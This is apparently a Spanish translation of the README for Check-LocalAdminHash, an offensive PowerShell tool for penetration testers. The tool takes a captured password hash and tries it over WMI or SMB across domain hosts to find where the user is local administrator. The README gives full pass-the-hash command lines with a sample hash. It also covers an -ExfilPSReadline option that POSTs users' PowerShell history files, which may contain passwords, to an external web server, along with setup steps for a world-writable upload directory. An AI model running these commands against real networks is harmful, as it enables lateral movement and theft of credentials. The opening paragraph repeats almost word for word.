
Check-LocalAdminHash es una herramienta de PowerShell que intenta autenticarse en múltiples hosts a través de WMI o SMB utilizando un hash de contraseña para determinar si la credencial proporcionada es un administrador local. Es útil si obtienes un hash de contraseña de un usuario y quieres ver en qué equipos de la red es administrador local. Es esencialmente un Frankenstein de dos de mis herramientas favoritas junto con algo de mi propio código. Utiliza el proyecto Invoke-TheHash de Kevin Robertson (@kevin_robertson) para la parte de verificación de credenciales. Además, el script emplea módulos de PowerView de Will Schroeder (@harmj0y) y Matt Graeber (@mattifestation) para enumerar equipos del dominio y encontrar objetivos para probar el acceso de administrador.
Check-LocalAdminHash es una herramienta de PowerShell que intenta autenticarse contra múltiples equipos ya sea a través de WMI o SMB utilizando un hash de contraseña para determinar si la credencial proporcionada es de administrador local. Es útil si obtienes un hash de contraseña de un usuario y quieres ver dónde es administrador local en una red. Es esencialmente un Frankenstein de dos de mis herramientas favoritas junto con algo de mi propio código. Utiliza el proyecto Invoke-TheHash de Kevin Robertson (@kevin_robertson) para la parte de verificación de credenciales. Además, el script utiliza módulos de PowerView de Will Schroeder (@harmj0y) y Matt Graeber (@mattifestation) para enumerar los equipos del dominio y encontrar objetivos para probar el acceso de administrador.
La razón por la que este script existe es porque en una evaluación quería recolectar todos los archivos de historial de la consola de PowerShell (PSReadline) de cada sistema en la red. El historial de la consola PSReadline es esencialmente la versión de PowerShell del historial de bash. Puede incluir muchas cosas interesantes que las personas escriben en sus terminales, incluyendo contraseñas. Por lo tanto, este script incluye una opción para exfiltrar también todos los archivos PSReadline. Hay cierta configuración requerida. Consulta el final del Readme para la configuración.
Para más información, lee el blog aquí: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
Este comando usará el dominio 'testdomain.local' para buscar todos los sistemas y luego intentará autenticarse a cada uno usando el usuario 'testdomain.local\PossibleAdminUser' y un hash de contraseña por WMI.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
Este comando usará el dominio 'testdomain.local' para buscar todos los sistemas y luego intentará autenticarse a cada uno usando el usuario 'testdomain.local\PossibleAdminUser' y un hash de contraseña por WMI. Luego intenta localizar los archivos de historial de la consola de PowerShell (PSReadline) para cada perfil en cada sistema y los envía mediante POST a un servidor web. Consulta la parte inferior del Readme para la configuración del servidor.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
Este comando usará el rango CIDR proporcionado para generar una lista de objetivos y luego intentará autenticarse a cada uno usando el usuario local 'PossibleAdminUser' y un hash de contraseña por WMI.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
Este comando usará la lista de objetivos proporcionada e intentará autenticarse a cada host usando el usuario local 'PossibleAdminUser' y un hash de contraseña por SMB.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
Este comando intenta realizar una autenticación local para el usuario Administrator contra el sistema 192.168.0.16 por SMB.
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - El nombre de usuario para intentar la autenticación.
PasswordHash - Hash de contraseña del usuario.
TargetSystem - Nombre de equipo o IP única para el intento de autenticación.
TargetList - Una lista de equipos a escanear, uno por línea.
AllSystems - Un indicador que, cuando está habilitado, utiliza los módulos de PowerView para enumerar todos los sistemas del dominio. Luego se usa esta lista para verificar el acceso de administrador local.
Domain - Este es el dominio que PowerView utilizará para descubrir sistemas.
UserDomain - Este es el dominio del usuario para autenticarse en cada sistema. No uses este indicador si usas una credencial local en lugar de una credencial de dominio.
Protocol - Esta es la configuración para determinar si se verifica el hash usando WMI o SMB. El valor predeterminado es 'WMI', pero cámbialo a 'SMB' para verificar con ese protocolo.
CIDR - Especifica un rango de red en formato CIDR, por ejemplo, 192.168.0.0/24.
Threads - Por defecto son 5 hilos. (He tenido algunos problemas extraños al configurar más de 15 hilos, ya que algunos resultados no regresan.)
ExfilPSReadline - Para cada sistema donde la autenticación sea exitosa, ejecuta un comando de PowerShell para localizar los archivos de historial de la consola PSReadline (historial de comandos de PowerShell) y luego los envía mediante POST a un servidor web. Consulta el Readme para la configuración del servidor.
Esta es tu advertencia de que estás a punto de configurar un servidor orientado a Internet que aceptará cargas de archivos. Normalmente, esto es algo muy malo de hacer. Así que definitivamente toma precauciones al hacerlo. Recomendaría restringir las reglas del firewall para que solo la IP que cargará los archivos PSReadline pueda alcanzar el servidor web. Además, ya que estamos hablando de seguridad, esto funcionará bien con una conexión HTTPS, así que configura tu dominio y certificado para que los archivos PSReadline se envíen cifrados a través de la red. ¡Has sido advertido...
Configura un servidor en cualquier lugar donde desees que se envíen los archivos. Este servidor debe ser accesible a través de HTTP/HTTPS desde cada sistema.
Copia el script index.php de este repositorio y colócalo en /index.php en la raíz web (/var/www/html) en tu servidor web.
Crea un directorio de subidas
mkdir /var/www/html/uploads
chmod 0777 /var/www/html/uploads
apt-get install php
service apache2 restart
Ahora, cuando ejecutes Check-LocalAdminHash con el indicador -ExfilPSReadline, debería intentar enviar mediante POST cada archivo PSReadline (si los hay) a tu servidor web.
Check-LocalAdminHash es prácticamente un Frankenstein de dos de mis herramientas favoritas, PowerView e Invoke-TheHash. El 95% del código proviene de esas dos herramientas. Por lo tanto, el crédito es para Kevin Robertson (@kevin_robertson) por Invoke-TheHash, y crédito para Will Schroeder (@harmj0y), Matt Graeber (@mattifestation) (y cualquier otra persona que haya trabajado en PowerView). Sin esas dos herramientas, este script no existiría. También un agradecimiento a Steve Borosh (@424f424f) por la ayuda con el uso de hilos y por ser un tipo increíble.
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1